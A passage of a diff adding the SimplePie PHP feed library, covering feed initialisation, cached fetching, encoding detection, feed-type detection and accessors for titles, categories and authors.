+	 * parsed, and all of that other good stuff.
+	 *
+	 * @return boolean True if successful, false otherwise
+	 */
+	public function init()
+	{
+		// Check absolute bare minimum requirements.
+		if (!extension_loaded('xml') || !extension_loaded('pcre'))
+		{
+			return false;
+		}
+		// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
+		elseif (!extension_loaded('xmlreader'))
+		{
+			static $xml_is_sane = null;
+			if ($xml_is_sane === null)
+			{
+				$parser_check = xml_parser_create();
+				xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
+				xml_parser_free($parser_check);
+				$xml_is_sane = isset($values[0]['value']);
+			}
+			if (!$xml_is_sane)
+			{
+				return false;
+			}
+		}
+
+		if (method_exists($this->sanitize, 'set_registry'))
+		{
+			$this->sanitize->set_registry($this->registry);
+		}
+
+		// Pass whatever was set with config options over to the sanitizer.
+		// Pass the classes in for legacy support; new classes should use the registry instead
+		$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->registry->get_class('Cache'));
+		$this->sanitize->pass_file_data($this->registry->get_class('File'), $this->timeout, $this->useragent, $this->force_fsockopen);
+
+		if (!empty($this->multifeed_url))
+		{
+			$i = 0;
+			$success = 0;
+			$this->multifeed_objects = array();
+			$this->error = array();
+			foreach ($this->multifeed_url as $url)
+			{
+				$this->multifeed_objects[$i] = clone $this;
+				$this->multifeed_objects[$i]->set_feed_url($url);
+				$single_success = $this->multifeed_objects[$i]->init();
+				$success |= $single_success;
+				if (!$single_success)
+				{
+					$this->error[$i] = $this->multifeed_objects[$i]->error();
+				}
+				$i++;
+			}
+			return (bool) $success;
+		}
+		elseif ($this->feed_url === null && $this->raw_data === null)
+		{
+			return false;
+		}
+
+		$this->error = null;
+		$this->data = array();
+		$this->multifeed_objects = array();
+		$cache = false;
+
+		if ($this->feed_url !== null)
+		{
+			$parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
+
+			// Decide whether to enable caching
+			if ($this->cache && $parsed_feed_url['scheme'] !== '')
+			{
+				$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'));
+			}
+
+			// Fetch the data via SimplePie_File into $this->raw_data
+			if (($fetched = $this->fetch_data($cache)) === true)
+			{
+				return true;
+			}
+			elseif ($fetched === false) {
+				return false;
+			}
+
+			list($headers, $sniffed) = $fetched;
+		}
+
+		// Set up array of possible encodings
+		$encodings = array();
+
+		// First check to see if input has been overridden.
+		if ($this->input_encoding !== false)
+		{
+			$encodings[] = $this->input_encoding;
+		}
+
+		$application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity');
+		$text_types = array('text/xml', 'text/xml-external-parsed-entity');
+
+		// RFC 3023 (only applies to sniffed content)
+		if (isset($sniffed))
+		{
+			if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml')
+			{
+				if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+				{
+					$encodings[] = strtoupper($charset[1]);
+				}
+				$encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry)));
+				$encodings[] = 'UTF-8';
+			}
+			elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml')
+			{
+				if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+				{
+					$encodings[] = $charset[1];
+				}
+				$encodings[] = 'US-ASCII';
+			}
+			// Text MIME-type default
+			elseif (substr($sniffed, 0, 5) === 'text/')
+			{
+				$encodings[] = 'US-ASCII';
+			}
+		}
+
+		// Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
+		$encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry)));
+		$encodings[] = 'UTF-8';
+		$encodings[] = 'ISO-8859-1';
+
+		// There's no point in trying an encoding twice
+		$encodings = array_unique($encodings);
+
+		// Loop through each possible encoding, till we return something, or run out of possibilities
+		foreach ($encodings as $encoding)
+		{
+			// Change the encoding to UTF-8 (as we always use UTF-8 internally)
+			if ($utf8_data = $this->registry->call('Misc', 'change_encoding', array($this->raw_data, $encoding, 'UTF-8')))
+			{
+				// Create new parser
+				$parser = $this->registry->create('Parser');
+
+				// If it's parsed fine
+				if ($parser->parse($utf8_data, 'UTF-8'))
+				{
+					$this->data = $parser->get_data();
+					if (!($this->get_type() & ~SIMPLEPIE_TYPE_NONE))
+					{
+						$this->error = "A feed could not be found at $this->feed_url. This does not appear to be a valid RSS or Atom feed.";
+						$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
+						return false;
+					}
+
+					if (isset($headers))
+					{
+						$this->data['headers'] = $headers;
+					}
+					$this->data['build'] = SIMPLEPIE_BUILD;
+
+					// Cache the file if caching is enabled
+					if ($cache && !$cache->save($this))
+					{
+						trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
+					}
+					return true;
+				}
+			}
+		}
+
+		if (isset($parser))
+		{
+			// We have an error, just set SimplePie_Misc::error to it and quit
+			$this->error = sprintf('This XML document is invalid, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
+		}
+		else
+		{
+			$this->error = 'The data could not be converted to UTF-8. You MUST have either the iconv or mbstring extension installed. Upgrading to PHP 5.x (which includes iconv) is highly recommended.';
+		}
+
+		$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
+
+		return false;
+	}
+
+	/**
+	 * Fetch the data via SimplePie_File
+	 *
+	 * If the data is already cached, attempt to fetch it from there instead
+	 * @param SimplePie_Cache|false $cache Cache handler, or false to not load from the cache
+	 * @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
+	 */
+	protected function fetch_data(&$cache)
+	{
+		// If it's enabled, use the cache
+		if ($cache)
+		{
+			// Load the Cache
+			$this->data = $cache->load();
+			if (!empty($this->data))
+			{
+				// If the cache is for an outdated build of SimplePie
+				if (!isset($this->data['build']) || $this->data['build'] !== SIMPLEPIE_BUILD)
+				{
+					$cache->unlink();
+					$this->data = array();
+				}
+				// If we've hit a collision just rerun it with caching disabled
+				elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url)
+				{
+					$cache = false;
+					$this->data = array();
+				}
+				// If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
+				elseif (isset($this->data['feed_url']))
+				{
+					// If the autodiscovery cache is still valid use it.
+					if ($cache->mtime() + $this->autodiscovery_cache_duration > time())
+					{
+						// Do not need to do feed autodiscovery yet.
+						if ($this->data['feed_url'] !== $this->data['url'])
+						{
+							$this->set_feed_url($this->data['feed_url']);
+							return $this->init();
+						}
+
+						$cache->unlink();
+						$this->data = array();
+					}
+				}
+				// Check if the cache has been updated
+				elseif ($cache->mtime() + $this->cache_duration < time())
+				{
+					// If we have last-modified and/or etag set
+					if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag']))
+					{
+						$headers = array(
+							'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+						);
+						if (isset($this->data['headers']['last-modified']))
+						{
+							$headers['if-modified-since'] = $this->data['headers']['last-modified'];
+						}
+						if (isset($this->data['headers']['etag']))
+						{
+							$headers['if-none-match'] = $this->data['headers']['etag'];
+						}
+
+						$file = $this->registry->create('File', array($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen));
+
+						if ($file->success)
+						{
+							if ($file->status_code === 304)
+							{
+								$cache->touch();
+								return true;
+							}
+						}
+						else
+						{
+							unset($file);
+						}
+					}
+				}
+				// If the cache is still valid, just return true
+				else
+				{
+					$this->raw_data = false;
+					return true;
+				}
+			}
+			// If the cache is empty, delete it
+			else
+			{
+				$cache->unlink();
+				$this->data = array();
+			}
+		}
+		// If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
+		if (!isset($file))
+		{
+			if ($this->file instanceof SimplePie_File && $this->file->url === $this->feed_url)
+			{
+				$file =& $this->file;
+			}
+			else
+			{
+				$headers = array(
+					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+				);
+				$file = $this->registry->create('File', array($this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen));
+			}
+		}
+		// If the file connection has an error, set SimplePie::error to that and quit
+		if (!$file->success && !($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300)))
+		{
+			$this->error = $file->error;
+			return !empty($this->data);
+		}
+
+		if (!$this->force_feed)
+		{
+			// Check if the supplied URL is a feed, if it isn't, look for it.
+			$locate = $this->registry->create('Locator', array(&$file, $this->timeout, $this->useragent, $this->max_checked_feeds));
+
+			if (!$locate->is_feed($file))
+			{
+				// We need to unset this so that if SimplePie::set_file() has been called that object is untouched
+				unset($file);
+				try
+				{
+					if (!($file = $locate->find($this->autodiscovery, $this->all_discovered_feeds)))
+					{
+						$this->error = "A feed could not be found at $this->feed_url. A feed with an invalid mime type may fall victim to this error, or " . SIMPLEPIE_NAME . " was unable to auto-discover it.. Use force_feed() if you are certain this URL is a real feed.";
+						$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
+						return false;
+					}
+				}
+				catch (SimplePie_Exception $e)
+				{
+					// This is usually because DOMDocument doesn't exist
+					$this->error = $e->getMessage();
+					$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()));
+					return false;
+				}
+				if ($cache)
+				{
+					$this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD);
+					if (!$cache->save($this))
+					{
+						trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
+					}
+					$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc'));
+				}
+				$this->feed_url = $file->url;
+			}
+			$locate = null;
+		}
+
+		$this->raw_data = $file->body;
+
+		$headers = $file->headers;
+		$sniffer = $this->registry->create('Content_Type_Sniffer', array(&$file));
+		$sniffed = $sniffer->get_type();
+
+		return array($headers, $sniffed);
+	}
+
+	/**
+	 * Get the error message for the occurred error.
+	 *
+	 * @return string|array Error message, or array of messages for multifeeds
+	 */
+	public function error()
+	{
+		return $this->error;
+	}
+
+	/**
+	 * Get the raw XML
+	 *
+	 * This is the same as the old `$feed->enable_xml_dump(true)`, but returns
+	 * the data instead of printing it.
+	 *
+	 * @return string|boolean Raw XML data, false if the cache is used
+	 */
+	public function get_raw_data()
+	{
+		return $this->raw_data;
+	}
+
+	/**
+	 * Get the character encoding used for output
+	 *
+	 * @since Preview Release
+	 * @return string
+	 */
+	public function get_encoding()
+	{
+		return $this->sanitize->output_encoding;
+	}
+
+	/**
+	 * Send the content-type header with correct encoding
+	 *
+	 * This method ensures that the SimplePie-enabled page is being served with
+	 * the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
+	 * and character encoding HTTP headers (character encoding determined by the
+	 * {@see set_output_encoding} config option).
+	 *
+	 * This won't work properly if any content or whitespace has already been
+	 * sent to the browser, because it relies on PHP's
+	 * {@link http://php.net/header header()} function, and these are the
+	 * circumstances under which the function works.
+	 *
+	 * Because it's setting these settings for the entire page (as is the nature
+	 * of HTTP headers), this should only be used once per page (again, at the
+	 * top).
+	 *
+	 * @param string $mime MIME type to serve the page as
+	 */
+	public function handle_content_type($mime = 'text/html')
+	{
+		if (!headers_sent())
+		{
+			$header = "Content-type: $mime;";
+			if ($this->get_encoding())
+			{
+				$header .= ' charset=' . $this->get_encoding();
+			}
+			else
+			{
+				$header .= ' charset=UTF-8';
+			}
+			header($header);
+		}
+	}
+
+	/**
+	 * Get the type of the feed
+	 *
+	 * This returns a SIMPLEPIE_TYPE_* constant, which can be tested against
+	 * using {@link http://php.net/language.operators.bitwise bitwise operators}
+	 *
+	 * @since 0.8 (usage changed to using constants in 1.0)
+	 * @see SIMPLEPIE_TYPE_NONE Unknown.
+	 * @see SIMPLEPIE_TYPE_RSS_090 RSS 0.90.
+	 * @see SIMPLEPIE_TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
+	 * @see SIMPLEPIE_TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
+	 * @see SIMPLEPIE_TYPE_RSS_091 RSS 0.91.
+	 * @see SIMPLEPIE_TYPE_RSS_092 RSS 0.92.
+	 * @see SIMPLEPIE_TYPE_RSS_093 RSS 0.93.
+	 * @see SIMPLEPIE_TYPE_RSS_094 RSS 0.94.
+	 * @see SIMPLEPIE_TYPE_RSS_10 RSS 1.0.
+	 * @see SIMPLEPIE_TYPE_RSS_20 RSS 2.0.x.
+	 * @see SIMPLEPIE_TYPE_RSS_RDF RDF-based RSS.
+	 * @see SIMPLEPIE_TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
+	 * @see SIMPLEPIE_TYPE_RSS_ALL Any version of RSS.
+	 * @see SIMPLEPIE_TYPE_ATOM_03 Atom 0.3.
+	 * @see SIMPLEPIE_TYPE_ATOM_10 Atom 1.0.
+	 * @see SIMPLEPIE_TYPE_ATOM_ALL Any version of Atom.
+	 * @see SIMPLEPIE_TYPE_ALL Any known/supported feed type.
+	 * @return int SIMPLEPIE_TYPE_* constant
+	 */
+	public function get_type()
+	{
+		if (!isset($this->data['type']))
+		{
+			$this->data['type'] = SIMPLEPIE_TYPE_ALL;
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF']))
+			{
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_10;
+				}
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_090;
+				}
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL;
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version']))
+				{
+					switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version']))
+					{
+						case '0.91':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091;
+							if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data']))
+							{
+								switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data']))
+								{
+									case '0':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE;
+										break;
+
+									case '24':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND;
+										break;
+								}
+							}
+							break;
+
+						case '0.92':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_092;
+							break;
+
+						case '0.93':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_093;
+							break;
+
+						case '0.94':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_094;
+							break;
+
+						case '2.0':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_20;
+							break;
+					}
+				}
+			}
+			else
+			{
+				$this->data['type'] = SIMPLEPIE_TYPE_NONE;
+			}
+		}
+		return $this->data['type'];
+	}
+
+	/**
+	 * Get the URL for the feed
+	 *
+	 * May or may not be different from the URL passed to {@see set_feed_url()},
+	 * depending on whether auto-discovery was used.
+	 *
+	 * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
+	 * @todo If we have a perm redirect we should return the new URL
+	 * @todo When we make the above change, let's support <itunes:new-feed-url> as well
+	 * @todo Also, |atom:link|@rel=self
+	 * @return string|null
+	 */
+	public function subscribe_url()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize($this->feed_url, SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get data for an feed-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute that is a
+	 * sub-element of the opening feed tag.
+	 *
+	 * The return value is an indexed array of elements matching the given
+	 * namespace and tag name. Each element has `attribs`, `data` and `child`
+	 * subkeys. For `attribs` and `child`, these contain namespace subkeys.
+	 * `attribs` then has one level of associative name => value data (where
+	 * `value` is a string) after the namespace. `child` has tag-indexed keys
+	 * after the namespace, each member of which is an indexed array matching
+	 * this same format.
+	 *
+	 * For example:
+	 * <pre>
+	 * // This is probably a bad example because we already support
+	 * // <media:content> natively, but it shows you how to parse through
+	 * // the nodes.
+	 * $group = $item->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group');
+	 * $content = $group[0]['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'];
+	 * $file = $content[0]['attribs']['']['url'];
+	 * echo $file;
+	 * </pre>
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_feed_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_10)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_ATOM_03)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_RDF)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get data for an channel-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute in the
+	 * channel/header section of the feed.
+	 *
+	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_channel_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_ALL)
+		{
+			if ($return = $this->get_feed_tags($namespace, $tag))
+			{
+				return $return;
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get data for an channel-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute in the
+	 * image/logo section of the feed.
+	 *
+	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_image_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($image = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get the base URL value from the feed
+	 *
+	 * Uses `<xml:base>` if available, otherwise uses the first link in the
+	 * feed, or failing that, the URL of the feed itself.
+	 *
+	 * @see get_link
+	 * @see subscribe_url
+	 *
+	 * @param array $element
+	 * @return string
+	 */
+	public function get_base($element = array())
+	{
+		if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base']))
+		{
+			return $element['xml_base'];
+		}
+		elseif ($this->get_link() !== null)
+		{
+			return $this->get_link();
+		}
+		else
+		{
+			return $this->subscribe_url();
+		}
+	}
+
+	/**
+	 * Sanitize feed data
+	 *
+	 * @access private
+	 * @see SimplePie_Sanitize::sanitize()
+	 * @param string $data Data to sanitize
+	 * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants
+	 * @param string $base Base URL to resolve URLs against
+	 * @return string Sanitized data
+	 */
+	public function sanitize($data, $type, $base = '')
+	{
+		return $this->sanitize->sanitize($data, $type, $base);
+	}
+
+	/**
+	 * Get the title of the feed
+	 *
+	 * Uses `<atom:title>`, `<title>` or `<dc:title>`
+	 *
+	 * @since 1.0 (previously called `get_feed_title` since 0.8)
+	 * @return string|null
+	 */
+	public function get_title()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a category for the feed
+	 *
+	 * @since Unknown
+	 * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Category|null
+	 */
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all categories for the feed
+	 *
+	 * Uses `<atom:category>`, `<category>` or `<dc:subject>`
+	 *
+	 * @since Unknown
+	 * @return array|null List of {@see SimplePie_Category} objects
+	 */
+	public function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
+		{
+			// This is really the label, but keep this as the term also for BC.
+			// Label will also work on retrieving because that falls back to term.
+			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			if (isset($category['attribs']['']['domain']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$scheme = null;
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($categories))
+		{
+			return array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get an author for the feed
+	 *
+	 * @since 1.1
+	 * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all authors for the feed
+	 *
+	 * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
+	 *
+	 * @since 1.1
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
